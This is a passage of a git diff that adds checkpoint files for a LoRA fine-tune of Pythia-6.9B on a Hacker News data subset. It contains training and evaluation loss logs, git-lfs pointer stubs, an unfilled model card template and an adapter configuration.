1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.5339622497558594, + "learning_rate": 4.088888888888889e-05, + "loss": 1.9162, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.7754197120666504, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.622448444366455, + "learning_rate": 3.970370370370371e-05, + "loss": 1.9598, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.771843671798706, + "eval_runtime": 43.8243, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.728793144226074, + "learning_rate": 3.851851851851852e-05, + "loss": 1.9611, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7712514400482178, + "eval_runtime": 43.8133, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.583333969116211, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9595, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7676312923431396, + "eval_runtime": 43.8113, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 360 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 5.89898591502336e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..3c511580028e7e779d45cede417b4103017a0b0e --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:74178af04841f8cb513d3beb4ba402dc8c6f00f99aa01c9725f4ec389125d9ad +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..1793e8f0880d16228f9a501c6f474423a4b6328b --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:7ec953237efa9e668c3663f0fe32e89c7bc8b59d17757311bd948bd96fd328a8 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..792417d4c800bc4c8f7eb21d5421678309a6165b --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d7c0e313f3d6f9e1adc7603b9ffa6f0ab3438f71ce0c71bd9a788485d02b981c +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..8bd8e28f2af2a751646ea36889854c5eda0b2292 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:1511804f46c0ca65fb38b3cc2eecf2ff9872408b4f80615834923e731745685a +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..a562665218ec1580537bec931153b5e001f3050e --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-370/trainer_state.json @@ -0,0 +1,588 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 4.933333333333334, + "eval_steps": 10, + "global_step": 370, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + 